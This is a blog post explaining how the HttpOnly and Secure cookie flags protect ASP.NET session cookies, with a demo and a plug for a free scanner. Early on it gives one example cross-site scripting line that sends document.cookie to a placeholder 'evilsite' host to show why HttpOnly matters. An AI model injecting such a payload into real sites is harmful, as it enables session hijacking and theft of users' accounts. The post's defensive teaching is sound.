Since a very young age, many of us have been taught that C is for cookie and that apparently, “That’s good enough for me”. Except it’s not – the hidden depths of the cookie were never really explored so is it any wonder that after being ingrained with such a trivial view of cookies from such a young age that so many of us are handling them in an insecure fashion?
You see, there’s far more to cookies than meets the eye and I want to delve into a couple of aspects that when configured poorly, can pose serious risks to website security. Most of the time when I see these two problems it’s not by design (and there are valid design use-cases), rather it’s because very frequently, the developer didn’t even know they exist. Think of it as one of those “don’t know what you don’t know” sort of situations.
In order to help you defend against the Anonymous Cookie Monster, I’m going to explain what an “HTTP only” cookie is and also what it means to use “Secure” cookies. But first, let’s just recap on why we need cookies in the first place and what the potential security ramifications are of getting them wrong.
Understanding cookies
The first thing we need to be clear on is that cookies aren’t the domain of any one technology stack (ASP.NET, PHP, etc.) nor are they the domain of the client or the server. Cookies go back a couple of decades and are now an ingrained part of what we know as HTTP, moving freely backwards and forwards between client and server as part of the request and response headers.
This is important to understand because it gives us a great deal of flexibility in the way we handle cookies. For example, we can freely transmit cookies between different server side technologies so long as they talk HTTP and can read and write from those headers. We can also readily share cookies between code on the server (such as ASP.NET) and code on the client (such as JavaScript). And finally, we can hand cookies around over either HTTP or HTTPS and even hand the same cookies around over both schemes for the same domain.
However, just because we can do all these things doesn’t mean we should and indeed there are some risks involved. From an application security perspective, one of the biggest risks is session hijacking. You see, HTTP is a stateless protocol which means that when you go to a website and make a request then make a subsequent request, the site has no recollection of you – that second request is in no way tied to the first one. What cookies let us do is persist a few bytes to uniquely identify you so that when you make that next request, the website can go “Oh yeah, you’re that guy”.
Here’s an example: when you log on to an ASP.NET application using forms authentication, the default implementation will return you a cookie named “.ASPXAUTH”. It looks just like this:
Set-Cookie: .ASPXAUTH=737A8033B7A68EF4C1D3AC5C96353E9767EF677903AD7F796C1BF0D8DDE141EDC98451CF6A67837D29E12A722252BA93C7342D11341BAC2D49031923BA2DFD6ADCB04BDED56A685A7417353F81B04BECFEA4F3522CCBD86C0371A6EB75B6FF74
The contents of this cookie then travel back to the server on every request you make hence identifying you as the person who logged on earlier. The problem with this is that if an attacker can gain access to that cookie, they can steal your session or in other words, set the cookie in their own browser, go to the website and now the website thinks they’re you.
There are many, many ways to steal cookies and hijack sessions. In part 9 of the OWASP Top 10 for .NET developers I showed how the authentication cookie could be sniffed from a public wifi hotspot when it wasn’t transmitted over a secure connection. In my post on Session hijacking with Google and ELMAH I showed how a large number of unsecured ELMAH logs were leaking authentication cookies which could easily be hijacked. But there’s another very easy way of an attacker getting their hands on your private cookies using JavaScript and that’s what I want to focus on first.
HTTP only cookies
Earlier on I mentioned that cookies span technology domains and that they span the client and server or in other words, cookies set by the server can be read by JavaScript. The problem is though, many cookies don’t need to be read by the client and in fact there’s a serious risk there. Here’s an example: let’s imagine you have a website that has a cross site scripting vulnerability (remember, this is still number 2 on the Top 10 web application security risks and is extremely prevalent) and that an attacker can add arbitrary JavaScript to your page so they do this:
location.href = 'http://evilsite/?cookies=' + document.cookie;
What will happen is that the browser will happily redirect the unsuspecting user to the evil site and send all their cookies with the request. Those cookies may hold sensitive information – including authentication information – which the site may then harvest and use to hijack sessions. It really is that easy and whilst that example is rather rudimentary, much more elegant solutions exist which enable those cookies to be siphoned off without the user ever observing any odd behaviour on the website.
What we need is a way to stop the browser from being able to access cookies on the client side and this is where the HTTP only flag comes in. This is a very, very simple construct and all it means is a little addition when the cookie is set. Normally you’ll see a cookie set by the server responding with the following line in the header:
Set-Cookie: MyCookieName=The value of my cookie; path=/
A “Set-Cookie directive” followed by the name of the cookie, the value and then the path it’s valid for (you can restrict cookies so that they may only be used in specific path but they will usually just default to the root of the site which is expressed as “/”). Here’s what an HTTP only cookie looks like:
Set-Cookie: MyCookieName=The value of my cookie; path=/; HttpOnly
Easy, huh? When this flag is set, as far as client script in the browser is concerned, it doesn’t exist. It will still be passed back to the server in the request header, it just can’t be read locally via JavaScript. This is enormously powerful because it means attacks such as the XSS example above are completely and utterly neutered.
In all likelihood, if you are setting a cookie on the server then you won’t be reading it on the client. There are cases where you might, but they’re rare and they’re almost certainly not cases where you want to read a sensitive cookie such as one persisting the authenticated state of the user. Fortunately this is dead easy to do in most web frameworks, here’s how it looks in ASP.NET:
Response.Cookies.Add(new HttpCookie("MyCookieName") { Value = "The value of my cookie", HttpOnly = true });
It’s just a flag set to true. Simple, but if you don’t specify the flag it will default to being off and you’ll have the risk described above to deal with. You can either do this on a per cookie basis as above or you can default all cookies to be HTTP only via the web.config:
<httpCookies httpOnlyCookies="true" />
That’s one of the first things I do in a new web application because it’s just such a simple safety net. Once you do this, all cookies will default to HTTP only and you can stop worrying about manually getting one of them wrong.
Secure cookies
The other area I wanted to talk about is secure cookies. Now this sounds a little odd, I mean what’s the alternative – insecure cookies?! In this case, what we’re talking about is the security of the transport layer or in other words, HTTPS. Earlier on I mentioned sniffing wifi traffic, stealing cookies and hijacking sessions. The problem, of course, is that when a packet is sent over the network via HTTP and not via HTTPS, it’s open to interception. That interception could happen over a wifi network, by someone tapping a network cable or as we saw in Tunisia a little while back, the entire government monitoring traffic passing through ISPs.
This is one of the key reasons why we have SSL so that traffic may be encrypted and protected from eavesdropping. But here’s the problem: let’s imagine you authenticate to https://mysite.com and the site returns you an authentication cookie over a secure HTTPS response. Each time you load a web page it’s requested over HTTPS so the cookie remains protected until… you have a few too many beers one night and accidentally do this:
<img src="http://mysite.com/images/icon.png" />
Now we have a serious problem because that asset is on the same domain but is being requested over an insecure protocol. What this means is that the authentication cookie is going to be sent with the request and because it’s going over HTTP you now have all the same interception risks that I described earlier. It doesn’t matter that you don’t care about eavesdroppers intercepting icon.png, what matters is that they can now grab that cookie as it’s not being sent over a secure protocol.
The answer is to make the cookie secure when it’s first set:
Set-Cookie: MyCookieName=The value of my cookie; path=/; secure
It’s as simple as that; the little “secure” flag hanging off the end instructs the browser that the cookie can no longer be sent with a request that isn’t made over the HTTPS scheme. Of course this can be added along with the HTTP only flag and it’s set in code in a very similar way as well. Once again, using ASP.NET:
Response.Cookies.Add(new HttpCookie("MyCookieName") { Value = "The value of my cookie", Secure = true });
Also once again, it’s also easy to set this site-wide in the web.config:
<httpCookies requireSSL="true" />
In fact that syntax makes a lot more sense than “Secure” – require SSL – easy! If you’re building a site that’s going to strictly run over HTTPS, start with this because as with the HTTP only example, it will save you without barely even thinking about it.
Demonstrating cookie handling
All make sense? Sometimes it helps to see it in practice so let’s do a little demo. I’ll use ASP.NET in this demo but it really doesn’t matter what server side stack you use, cookies are cookies and browsers handle them exactly the same way regardless of which app frameworks sends them back.
I’m going to set three cookies in the response of my dummy app. The first one simply defines a name and a value:
Response.Cookies.Add(new HttpCookie("SimpleCookie") { Value = "I can be read by anyone and I go anywhere" });
ASP.NET will default this to not being HTTP only and not being secure unless otherwise specified.
Now I’ll explicitly set a cookie to be HTTP only:
Response.Cookies.Add(new HttpCookie("HttpOnlyCookie") { Value = "I can't be read by JavaScript", HttpOnly = true });
So in theory, you’re only going to be able to read this on the server and not from within the browser.
The third cookie looks like this:
Response.Cookies.Add(new HttpCookie("SecureCookie") { Value = "I won't be sent by the browser over a non-secure connection", Secure = true });
This one should be readable by the client on a secure connection (we’ll see this idiosyncrasy in a moment), but will only be sent to the server if the connection is secure.
Now for the test! The first thing we’ll do is load the page and use Fiddler to inspect the response. Here’s everything in the response header:
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/8.0 X-AspNet-Version: 4.0.30319 Set-Cookie: SimpleCookie=I can be read by anyone and I go anywhere; path=/ Set-Cookie: HttpOnlyCookie=I can't be read by JavaScript; path=/; HttpOnly Set-Cookie: SecureCookie=I won't be sent by the browser over a non-secure connection; path=/; secure X-Powered-By: ASP.NET
Date: Mon, 18 Mar 2013 07:29:12 GMT
Content-Length: 669
This is exactly what we’d expect to see and the real key is those three lines where the cookies are set. The first one just defines the name, the value and the path it’s relevant for which is the site root given we didn’t specify otherwise. The second one is the HTTP only cookie and you can see the HttpOnly attribute sitting off the tail end of it. The third one is the secure cookie and as we’d expect there’s a Secure attribute sitting off the end of that.
That’s all fine in theory, let’s take a look at what it actually means. I’ve got a little host entry for the app named “cookies” which has both HTTP and HTTPS schemes bound to it so that we can test all eventualities. Here’s what the app looks like:
That great big “Show me the cookies accessible via JavaScript” button simply looks like this:
<input type="button" value="Show me the cookies accessible via JavaScript" onclick="alert(document.cookie);" />
Now, when we hit the button above to show cookies on the client, here’s what happens:
This is mostly what we expected; the SimpleCookie without an HTTP only or secure flag is shown and the HttpOnlyCookie which, of course, can’t be read by client script isn’t. The little twist in the tail though is that you don’t see the SecureCookie and the reason is simply that the browser can’t access it when it’s been served over a non-secure connection even though the browser definitely got it. Here’s the response in Internet Explorer’s Developer Tools:
Secure cookies kind of go both ways; the browser won’t send them over an insecure connection and they also won’t allow client side script to read them if they were originally sent over an insecure connection.
Moving on, let’s try the next button which is the one titled “Show me the cookies accessible via the server”. This will reload the page and invoke some server side code which does this:
var cookies = Request.Cookies; for (var i = 0; i < cookies.Count; i++) { CookieList.Items.Add(new ListItem(cookies[i].Name + " : " + cookies[i].Value)); }
The “CookieList” the code above is just a bulleted list in ASP.NET web forms and the bottom line is that it ends up looking like this:
Ok, so now we’ve got the SimpleCookie which the promiscuous little fella that’ll go anywhere, we’ve got the HttpOnlyCookie which we couldn’t access via the client and we don’t have the SecureCookie because it’s not an HTTPS connection.
Let’s change that and repeat the process over HTTPS using a self-signed certificate (which will give us a nice red warning in the address bar). Here’s the client-side cookie access result:
Ok, so now we can access the SecureCookie on the client because the page was served over HTTPS. Of course we still can’t access the HttpOnlyCookie because that can never be accessed by the client regardless of the scheme.
Now let’s see what the server can access:
Everything! Of course it could already access the first two before but now it can grab the SecureCookie as well because the browser has sent it as part of the HTTPS request.
And that, friends, is exactly how HTTP only and Secure cookies work.
Detecting crumby cookies with ASafaWeb
It’s very easy to detect whether the HTTP only and secure flags have been set on cookies, for example there’s IE’s Developer Tools:
Then there’s the Firebug add-on in Firefox (the native dev tools still aren’t great for viewing cookie details):
Or there’s my own personal favourite (simply because it makes editing cookies so easy), the Edit This Cookie extension for Chrome:
Thing is though, cookie security is really one of those things that needs to fall into the security review process and not just be identified as part of an ad hoc check in a browser. For this reason, I’ve built two new scans into ASafaWeb so it can check this for you. What it means is that now whenever you run a scan, along with all the usual checks you’ll also get a report on any cookies sent by the server that aren’t flagged as HTTP only. If there are any HTTPS requests, you’ll also get a report on any cookies sent via that scheme that’s aren’t flagged as Secure. It looks just like this:
And it looks very similar for the Secure cookies test. You can jump over to asafaweb.com and check any of your sites on demand or as before, you can set up a schedule to keep an eye on if things change over time. Also as before, it’s a free community tools so there’s no pay walls or other things to get in your way and the best thing about the cookie scans is that they’re relevant to all technologies, not just ASP.NET.
Enjoy!